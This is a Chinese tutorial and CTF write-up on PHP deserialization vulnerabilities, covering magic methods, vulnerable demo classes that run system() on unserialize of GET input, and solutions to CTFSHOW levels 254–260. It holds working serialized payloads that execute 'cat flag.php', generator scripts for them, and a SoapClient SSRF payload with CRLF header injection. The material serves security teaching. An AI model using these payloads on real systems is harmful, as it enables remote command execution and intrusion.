当前位置:   article > 正文

WEB攻防-通用漏洞&PHP反序列化&魔术方法&原生类_反序列化cms

反序列化cms

#知识点:

1、什么是反序列化操作?-格式转换

2、为什么会出现安全漏洞?-魔术方法

3、反序列化漏洞如何发现? -对象逻辑

4、反序列化漏洞如何利用?-POP链构造

补充:反序列化利用大概分类三类

-魔术方法的调用逻辑-如触发条件

-语言原生类的调用逻辑-如SoapClient

-语言自身的安全缺陷-CVE-2016-7124

#反序列化课程点:

-PHP&Java&Python

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

#PHP反序列化漏洞

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

#魔术方法利用点分析:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用

__destruct()//析构函数当对象被销毁时会被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call(): //在对象上下文中调用不可访问的方法时触发

__callStatci(): //在静态上下文中调用不可访问的方法时触发

__get(): //用于从不可访问的属性读取数据

__set(): //用于将数据写入不可访问的属性

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__toString(): //把类当作字符串使用时触发,echo $a; ($a=new A())

__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

class B{

public function __destruct(){

system('ipconfig');

}

public function __construct(){

echo 'xiaodisec'.'<br>';

}

}

注意:

1.在进行new对象时,先调用__construct,之后调用__destruct

2.x为B序列化,unserialize($_GET[x]);,自动调用destruct(),如果想要调用__construct(),$a=unserialize($_GET[x]) $a->__construct();

3.调用方法中的私有属性,首先必须要new() 才可以调用

O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}

O:object 对象

8:对象名长度

demotest:对象名

3:对象含有3个变量

s:数据类型string,i是int

4:数据长度

name=xiaodi sex=man age=29

  • 反序列化-魔术方法&漏洞引发&变量修改等
  • CTFSHOW-关卡254到260-原生类&POP构造
  • CMS代码审计-Typecho反序列化&魔术方法逻辑

#反序列化-魔术方法&漏洞引发&变量修改等

echo '<br>';

//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}

//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }

//安全问题

class A{

public $var='echo test';

public function test(){

echo $this->var;

}

public function __destruct(){

echo 'x'.'<br>';

}

public function __construct(){

echo '__construct'.'<br>';

}

public function __toString(){

return '__toString'.'<br>';

}

}

//无需函数,创建对象触发魔术方法

//$a=new A();//触发__construct

//$a->test();//触发test

//echo $a;//触发__toString

//触发__destruct

echo serialize($a);

$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');

$t->test();

//漏洞出现

class B{

public function __destruct(){

system('ipconfig');

}

public function __construct(){

echo 'xiaodisec'.'<br>';

}

}

//函数引用,无对象创建触发魔术方法

//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}

unserialize($_GET[x]);

//$b=new b();

//echo serialize($b);

class C{

public $cmd='ipconfig';

public function __destruct(){

system($this->cmd);

}

public function __construct(){

echo 'xiaodisec'.'<br>';

}

}

//函数引用,无对象创建触发魔术方法自定义变量

//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}

unserialize($_GET[c]);

?>

#CTFSHOW-关卡254到260-原生类&POP构造

254-对象引用执行逻辑

1.触发xipOneKeyGetFlag()

2.$this->isVip为真

username=xxxxxx&password=xxxxxx

255-反序列化变量修改1

Code:

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

256-反序列化参数修改2

CODE:

public $username='x';

public $password='y';

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

257-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

private $class;

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

private $code='system("cat f*");';

}

$b=new ctfShowUser();

echo serialize($b);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

<?php

class ctfShowUser{

public $class = 'backDoor';

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

public $code="system('cat flag.php');";

}

$a=serialize(new ctfShowUser());

$b=str_replace(':11',':+11',$a);

$c=str_replace(':8',':+8',$b);

echo urlencode($c);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

259-原生态类&call魔术方法&配合SSRF

参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/#Exception

原生类适用前提:

1.需要有soap扩展,且不是默认开启,需要手动开启

2.需要调用一个不存在的方法触发其__call()函数

生成序列化时记得开启SoapClient拓展:php.ini中启用php_soap.dll

<?php

$target = 'http://127.0.0.1/flag.php';

$post_string = 'token=ctfshow';

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));

$a = serialize($b);

$a = str_replace('^^',"\r\n",$a);

echo urlencode($a);

?>

vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22wupco%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

260-字符串序列化

ctfshow=ctfshow_i_love_36D

#CMS代码审计-Typecho反序列化&魔术方法逻辑

https://www.anquanke.com/post/id/155306

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/133021?site
推荐阅读
相关标签
  

闽ICP备14008679号